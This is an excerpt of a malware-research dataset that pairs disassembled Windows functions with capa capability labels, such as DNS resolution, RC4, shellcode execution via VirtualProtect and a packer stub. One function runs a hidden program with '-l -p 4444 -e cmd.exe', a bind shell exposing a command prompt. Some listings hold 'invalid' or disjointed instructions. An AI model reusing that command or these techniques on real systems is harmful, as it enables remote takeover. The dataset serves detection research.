joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401e2740
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rsi
push rdi
sub rsp, 0x88
sub esp, 0x88

Function at 0x1401e3390
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x38
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x1401e33c8
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
add rsp, 0x38
ret
call fcn.1401e33e0
nop
add rsp, 0x38
ret

Function at 0x1401e33e0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x1401e3423
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [fcn.1401cfeb0]
mov qword [rbp - 0x28], rax
lea rax, [0x14029f010]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.14020b980
ud2

Function at 0x1401e3a70
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x14031df01]
mov ecx, 0x10
mov edx, 8
call fcn.14001c680
test rax, rax
je 0x1401e3b4f
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x1401e3be0]
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1401e3b41
mov rcx, qword [rbx]
mov qword [rbp - 0x18], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1401e3b18
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
call fcn.14001c690
mov edx, 0x10
mov r8d, 8
mov rcx, qword [rbp - 0x18]
call 0x123a9a013
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
add dword [rax], eax
add byte [rax], al
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x10], r14
mov qword [rbp - 0x18], rdi
mov ecx, 8
mov edx, 0x10
call fcn.14020b830
jl 0x1401e3b67
add byte [rdi], cl
invalid
Function at 0x1401e55c0
Capabilities:
Resolve dns

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1f0
mov rsi, rcx
mov r14, qword [rdx]
mov rbx, qword [rdx + 8]
movzx edi, word [rdx + 0x10]
mov rax, qword [0x14031e0a0]
cmp rax, 3
jne 0x1401e56b6
cmp rbx, 0x17f
ja 0x1401e56c8
lea r15, [rsp + 0x70]
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], 0
inc rbx
lea rcx, [rsp + 0x28]
mov rdx, r15
mov r8, rbx
call fcn.1401f1e30
cmp qword [rsp + 0x28], 0
je 0x1401e5644
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1401e56d9
mov rcx, qword [rsp + 0x30]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x48], 1
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
lea r9, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1401e569e
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
jmp 0x1401e56d9
mov rax, qword [rsp + 0x20]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], di
xor eax, eax
mov qword [rsi], rax
jmp 0x1401e56d9
call fcn.14020a990
cmp rbx, 0x17f
jbe 0x1401e55fa
mov rcx, rsi
mov rdx, r14
mov r8, rbx
mov r9d, edi
call fcn.14020aae0
mov rax, rsi
add rsp, 0x1f0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x1401e5830
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rsi
sub rsp, 0xb0
mov rax, rdx
mov rsi, rcx
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x2c], 0x80
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x2c]
mov rcx, rax
call qword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x1401e58e0
mov eax, dword [rsp + 0x2c]
movzx ecx, word [rsp + 0x30]
cmp ecx, 2
je 0x1401e58f0
cmp ecx, 0x17
jne 0x1401e5917
cmp eax, 0x1c
jb 0x1401e5930
movzx eax, word [rsp + 0x32]
rol ax, 8
movups xmm0, xmmword [rsp + 0x38]
mov ecx, dword [rsp + 0x34]
mov edx, dword [rsp + 0x48]
mov word [rsi], 1
movups xmmword [rsi + 4], xmm0
mov dword [rsi + 0x14], ecx
mov dword [rsi + 0x18], edx
mov word [rsi + 0x1c], ax
add rsp, 0xb0
pop rsi
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
jmp 0x1401e591e
cmp eax, 0x10
jb 0x1401e594a
movzx eax, word [rsp + 0x32]
rol ax, 8
mov ecx, dword [rsp + 0x34]
mov word [rsi], 0
mov word [rsi + 6], ax
mov dword [rsi + 2], ecx
add rsp, 0xb0
pop rsi
ret
lea rax, str.invalid_argument_
mov qword [rsi + 8], rax
mov word [rsi], 2
add rsp, 0xb0
pop rsi
ret
lea rcx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in6___
lea r8, [0x14029f910]
mov edx, 0x43
call fcn.14020ba20
ud2
lea rcx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in___library_std_src_sys_common_net.rs
lea r8, [0x14029f8b0]
mov edx, 0x42
call fcn.14020ba20
ud2
Function at 0x1401fa110
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x1401fa18a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x1401fa180
cmp r11, r10
ja 0x1401fa223
cmp r10, rdx
ja 0x1401fa237
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x1401fa182
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x1401fa160
jmp 0x1401fa1f7
ja 0x1401fa18a
mov r11, r10
cmp rax, r8
jne 0x1401fa132
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1401fa1fb
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x1401fa1d0
mov r8, r10
sub ecx, r9d
jns 0x1401fa1ee
jmp 0x1401fa1fd
cmp r10, rdx
je 0x1401fa209
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x1401fa1fd
xor al, 1
cmp r8, rdx
jne 0x1401fa1b0
jmp 0x1401fa1fd
xor eax, eax
jmp 0x1401fa1fd
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueassertion_failed:__buf.is_empty__
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14020ba20
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14020bf00
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14020be90
ud2
Function at 0x1401fd220
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1401fd26a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401fd26a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401fd26a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401fd26a
cmp dword [rcx + 0x84], 0xe
jbe 0x1401fd26a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401fd26c
xor al, al
add rsp, 0x28
ret

Function at 0x1402097d0
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x140209831
mov rdi, rax
lea rdx, [0x140264836]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140209831
mov rsi, rax
lea rdx, [0x140264844]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140209831
mov rdi, rax
xor ebx, ebx
jmp 0x1402098b7
lea rcx, [0x1402647d0]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x14020992b
mov rsi, rax
lea rdx, [0x1402647da]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14020992b
mov rdi, rax
lea rdx, [0x1402647ed]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14020992b
mov rbx, rax
lea rdx, [0x140264801]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14020992b
mov rsi, rax
lea rcx, [rbp - 0x18]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rdi
test eax, eax
jne 0x14020992b
mov rdi, qword [rbp - 0x18]
movzx eax, byte [0x14031df01]
mov ecx, 0x18
mov edx, 8
call fcn.14001c680
test rax, rax
je 0x140209932
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
xor eax, eax
lock cmpxchg qword [0x14031df98], rcx
je 0x14020991f
mov rsi, rax
cmp qword [rcx], 0
mov qword [rbp - 8], rcx
je 0x140209908
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp - 8]
call fcn.14001c690
mov rcx, rsi
mov rax, rcx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
call fcn.140209790
jmp 0x140209949
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rbx
mov ecx, 8
mov edx, 0x18
call fcn.14020b830
ud2
Function at 0x14020aae0
Capabilities:
Resolve dns

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov ebp, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.1401ed8f0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14020ab3b
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x14020abb4
mov r8d, 1
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
jmp fcn.14001c690
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x14020abc1
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
je 0x14020abb4
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.14001c690
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bp
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
jne 0x14020aba3
jmp 0x14020abb4
Function at 0x141b90058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x141b901df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141b90089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b9006f
add dl, dl
jne 0x141b90096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b900f6
xor eax, eax
add dl, dl
jne 0x141b900a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b901ad
add dl, dl
jne 0x141b900b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b900c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b900d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b900dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141b900ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141b9007e
mov eax, 1
add dl, dl
jne 0x141b90106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b90113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b900fb
sub eax, ebx
mov ebx, 1
jne 0x141b9014c
mov ecx, 1
add dl, dl
jne 0x141b9012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b9013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b90123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b9007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141b90168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b90175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b9015d
cmp eax, 0x7d00
jae 0x141b9019b
cmp eax, 0x500
jb 0x141b90196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b9007e
cmp eax, 0x7f
ja 0x141b9019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b9007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141b901d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141b9007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x401530
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.004020f0
lea rcx, str.start__B_dirchest.exe__d_100ms__l__p_4444__e_cmd.exe
call sub.msvcrt.dll_system
lea rcx, str.dir_snowcraft.exe
call sub.msvcrt.dll_system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x401770
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00407054]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x40188a
mov rax, qword [0x00407058]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x4017be
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x401870
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x4017a2
mov rcx, rbx
call fcn.004025b0
test rax, rax
mov r12, rax
je 0x4018c2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00407058]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.004026d0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00407058]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4018a5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401869
sub eax, 0x40
and eax, 0xffffffbf
je 0x401869
mov r9, rbp
add r9, qword [0x00407058]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401891
add dword [0x00407054], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebp, ebp
jmp 0x4017cb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401700
mov rax, qword [0x00407058]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call fcn.00401700
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00401700
nop
nop word cs:[rax + rax]

Function at 0x4024c0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402501
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4024f8
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x402503
add rax, 0x28
cmp rax, r9
jne 0x4024e4
xor eax, eax
repz ret

Function at 0x4025b0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x00404330]
cmp word [rbx], 0x5a4d
je 0x4025d0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.00402480
test eax, eax
je 0x4025c4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.004024c0
Function at 0x14000c65c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140014cb8], rbx
je 0x14000c6c3
cmp rax, rbx
jne 0x14000c6b6
mov ebx, 1
mov esi, ebx
jmp 0x14000c6c8
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000c69b
mov ebx, 1
mov eax, dword [0x140014cc0]
cmp eax, ebx
jne 0x14000c6e0
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000c74c
mov eax, dword [0x140014cc0]
test eax, eax
jne 0x14000c741
mov dword [0x140014cc0], ebx
lea r15, [0x14000eb70]
lea rdi, [0x14000eb58]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000c733
test eax, eax
jne 0x14000c737
cmp qword [rdi], r14
je 0x14000c728
mov rax, qword [rdi]
mov rcx, qword [0x14000eb00]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000c70a
test eax, eax
je 0x14000c747
mov eax, 0xff
jmp 0x14000c8a0
mov dword [0x140014400], ebx
mov edi, 0x1f
mov eax, dword [0x140014cc0]
cmp eax, ebx
jne 0x14000c773
lea rdx, [0x14000eb50]
lea rcx, [0x14000eb18]
call sub.msvcrt.dll__initterm
mov dword [0x140014cc0], 2
test esi, esi
jne 0x14000c781
mov rax, r14
xchg qword [0x140014cb8], rax
cmp qword [0x140014cd8], r14
je 0x14000c7b4
lea rcx, [0x140014cd8]
call fcn.14000cc80
test eax, eax
je 0x14000c7b4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140014cd8]
mov r9, qword [0x14000eb00]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000c7cd
mov eax, 0xff
jmp 0x14000c8a0
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x14000c851
cmp word [rcx], r14w
je 0x14000c7e6
test edx, edx
jne 0x14000c851
movzx eax, word [rcx]
sub ax, bx
cmp ax, di
ja 0x14000c7fc
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000c7e6
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400018e8
mov dword [0x1400143fc], eax
cmp dword [0x140014420], r14d
jne 0x14000c83a
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140014400], r14d
jne 0x14000c84f
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400143fc]
jmp 0x14000c8a0
cmp word [rcx], 0x22
jne 0x14000c865
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000c7d6
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.14017b000
add rsp, 0x28
jmp 0x14000c65c
Function at 0x571a70
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x571a7d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x571a8d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x571a75
lea eax, [rcx + 1]
jmp 0x571a9b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x571aae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x571a94
sub eax, 3
jb 0x571ace
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x571b1d
sar eax, 1
movsxd rbp, eax
jb 0x571b04
jmp 0x571adc
add ebx, ebx
jne 0x571ada
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x571b04
inc ecx
add ebx, ebx
jne 0x571aea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x571b04
call r11
adc ecx, ecx
add ebx, ebx
jne 0x571afd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x571aec
add ecx, 2
jmp 0x571b09
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00571a32
jmp 0x571a7d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x60400
mov dl, 0xb
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x571b69
cmp rsi, rcx
jae 0x571b71
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x571b50
cmp al, 0x8f
ja 0x571b50
cmp byte [rsi - 2], 0xf
je 0x571b56
sub al, 0xe8
cmp al, 1
ja 0x571b3a
cmp rsi, rcx
jae 0x571b71
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x571b40
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x571b71
lodsb al, byte [rsi]
jmp 0x571b50
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x16e000]
mov eax, dword [rdi]
or eax, eax
je 0x571bce
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x171000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x571b7e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x571bc8
mov qword [rbx], rax
add rbx, 8
jmp 0x571b9e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x571c08
cmp al, 0xef
ja 0x571bfa
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x571bda
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x571be9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x571c5c
sub rsp, 0xffffffffffffff80
jmp 0x45d240